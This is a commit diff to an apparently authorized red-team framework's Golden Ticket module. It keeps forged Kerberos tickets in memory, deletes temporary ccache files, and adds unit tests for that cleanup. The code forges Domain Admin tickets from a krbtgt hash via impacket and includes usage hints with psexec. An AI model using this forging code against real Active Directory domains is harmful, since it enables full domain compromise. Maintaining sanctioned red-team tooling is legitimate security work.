Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(security): golden_ticket ccache teardown + in-memory ticket retention (MOD-034)

Mafifrizi8eb586e3f408
diff --git a/ares/modules/credential/golden_ticket.py b/ares/modules/credential/golden_ticket.py
index b0e33b6..36c30f4 100644
--- a/ares/modules/credential/golden_ticket.py
+++ b/ares/modules/credential/golden_ticket.py
@@ -373,10 +373,11 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
# Use the TICKETER approach from impacket.examples.ticketer
# but call the internal class directly (not via subprocess)
+ ccache_path = None
try:
from impacket.examples.ticketer import TICKETER
from ares.core.security import secure_mkstemp
- dst, _fd2 = secure_mkstemp(suffix=".ccache", prefix="ares_gt_")
+ ccache_path, _fd2 = secure_mkstemp(suffix=".ccache", prefix="ares_gt_")
_os.close(_fd2)
class _TicketerOptions:
@@ -398,7 +399,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
old_pac=False,
targetDomain=domain_upper,
dc_ip=None,
- filename=dst,
+ filename=ccache_path,
)
ticketer = TICKETER(
username,
@@ -407,14 +408,23 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
options=opts,
)
ticketer.run()
- if _os.path.exists(dst) and _os.path.getsize(dst) > 0:
- return True, dst, ""
+ ticket_bytes = b""
+ if _os.path.exists(ccache_path) and _os.path.getsize(ccache_path) > 0:
+ with open(ccache_path, "rb") as f:
+ ticket_bytes = f.read()
+ return True, ticket_bytes, ""
default_local = f"{username}.ccache"
if _os.path.exists(default_local):
- import shutil as _shutil
- _shutil.move(default_local, dst)
- return True, dst, ""
- return False, "", "Ticket file not created"
+ try:
+ with open(default_local, "rb") as f:
+ ticket_bytes = f.read()
+ return True, ticket_bytes, ""
+ finally:
+ try:
+ _os.unlink(default_local)
+ except OSError:
+ pass
+ return False, b"", "Ticket file not created"
except (ImportError, AttributeError, TypeError) as ticketer_err:
# MOD-035: Fallback path blocked.
# The previous fallback used CCache.fromKRBCRED() to construct a ticket
@@ -444,23 +454,30 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
"disabled: would produce invalid ticket without PAC/KDC signature. "
"Ensure impacket is properly installed. (MOD-035)"
) from ticketer_err
+ finally:
+ # MOD-034: Guaranteed cleanup of temporary ccache artifact
+ if ccache_path and _os.path.exists(ccache_path):
+ try:
+ _os.unlink(ccache_path)
+ except OSError as e:
+ logger.warning("ccache_cleanup_failed", path=ccache_path, error=str(e))
except ModuleExecutionError:
raise
except Exception as exc:
- return False, "", str(exc)[:300]
+ return False, b"", str(exc)[:300]
- success, ticket_path, error_msg = await loop.run_in_executor(None, _forge)
+ success, ticket_bytes, error_msg = await loop.run_in_executor(None, _forge)
- if success and ticket_path:
+ if success and ticket_bytes:
self.finding(
title=f"Golden Ticket Forged for {domain} as {username}",
description=(
f"Successfully forged a Golden Ticket (Kerberos TGT) for domain {domain} "
f"using the krbtgt NTLM hash. The ticket impersonates '{username}' with "
"Domain Admins group membership. "
- f"Ticket saved: {ticket_path}. "
- "Use with: KRB5CCNAME={ticket_path} python3 psexec.py -k -no-pass domain/user@target"
+ "Ticket retained in memory (raw['ticket_data']). "
+ "Use with: pass-the-ticket module or psexec -k"
),
severity=Severity.CRITICAL,
mitre_technique="T1558.001",
@@ -468,7 +485,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
evidence={
"domain": domain,
"forged_user": username,
- "ticket_path": ticket_path,
+ "ticket_size": len(ticket_bytes),
"technique": "Golden Ticket (krbtgt hash)",
},
remediation=(
@@ -483,11 +500,15 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
else:
logger.warning("golden_ticket_failed", error=error_msg)
+ import base64 as _b64
+ ticket_b64 = _b64.b64encode(ticket_bytes).decode("ascii") if ticket_bytes else ""
raw = {
"domain": domain, "forged_as": username,
- "success": success, "ticket_path": ticket_path,
+ "success": success,
+ "ticket_data": ticket_bytes,
+ "ticket_b64": ticket_b64,
"error": error_msg,
}
- raw["golden_ticket"] = raw.get("ccache_path", raw.get("ticket_path", "")) # OUTPUTS key
- raw["kerberos_ticket"] = raw.get("ccache_path", raw.get("ticket_path", "")) # OUTPUTS key
+ raw["golden_ticket"] = ticket_b64 # OUTPUTS key
+ raw["kerberos_ticket"] = ticket_b64 # OUTPUTS key
return self._findings[:], raw
diff --git a/tests/unit/modules/test_golden_ticket.py b/tests/unit/modules/test_golden_ticket.py
index d869fa2..54ad136 100644
--- a/tests/unit/modules/test_golden_ticket.py
+++ b/tests/unit/modules/test_golden_ticket.py
@@ -148,5 +148,82 @@ def test_golden_ticket_primary_path_success():
)
assert raw["success"] is True
+ assert raw["ticket_data"] == b"ccache_content_here"
assert len(findings) == 1
assert "Golden Ticket Forged" in findings[0].title
+
+
+def test_golden_ticket_ccache_teardown_on_success():
+ """MOD-034: ccache file is deleted after successful golden ticket generation."""
+ mod = make_module(GoldenTicketModule)
+ created_files = []
+
+ mock_ticketer_cls = MagicMock()
+ mock_instance = MagicMock()
+ mock_ticketer_cls.return_value = mock_instance
+
+ def side_effect_run():
+ opts = mock_ticketer_cls.call_args[1]["options"]
+ created_files.append(opts.filename)
+ with open(opts.filename, "wb") as f:
+ f.write(b"sensitive_ticket_data")
+ assert os.path.exists(opts.filename)
+
+ mock_instance.run = side_effect_run
+
+ mock_mods = _setup_impacket_mock_modules(
+ ticketer_available=True, ticketer_cls=mock_ticketer_cls
+ )
+
+ with patch.dict("sys.modules", mock_mods):
+ findings, raw = _run(
+ mod.run(
+ domain="corp.local",
+ username="Administrator",
+ krbtgt_hash="0123456789abcdef0123456789abcdef",
+ domain_sid="S-1-5-21-1111111111-2222222222-3333333333",
+ )
+ )
+
+ assert raw["success"] is True
+ assert raw["ticket_data"] == b"sensitive_ticket_data"
+ assert len(created_files) == 1
+ assert not os.path.exists(created_files[0]), "ccache file must be unlinked from disk"
+
+
+def test_golden_ticket_ccache_teardown_on_failure():
+ """MOD-034: ccache file is deleted even if ticketer fails mid-execution."""
+ mod = make_module(GoldenTicketModule)
+ created_files = []
+
+ mock_ticketer_cls = MagicMock()
+ mock_instance = MagicMock()
+ mock_ticketer_cls.return_value = mock_instance
+
+ def failing_run():
+ opts = mock_ticketer_cls.call_args[1]["options"]
+ created_files.append(opts.filename)
+ with open(opts.filename, "wb") as f:
+ f.write(b"partial_ticket")
+ raise RuntimeError("Simulated crash mid-ticket-generation")
+
+ mock_instance.run = failing_run
+
+ mock_mods = _setup_impacket_mock_modules(
+ ticketer_available=True, ticketer_cls=mock_ticketer_cls
+ )
+
+ with patch.dict("sys.modules", mock_mods):
+ findings, raw = _run(
+ mod.run(
+ domain="corp.local",
+ username="Administrator",
+ krbtgt_hash="0123456789abcdef0123456789abcdef",
+ domain_sid="S-1-5-21-1111111111-2222222222-3333333333",
+ )
+ )
+
+ assert raw["success"] is False
+ assert len(created_files) == 1
+ assert not os.path.exists(created_files[0]), "ccache file must be cleaned up on failure"
+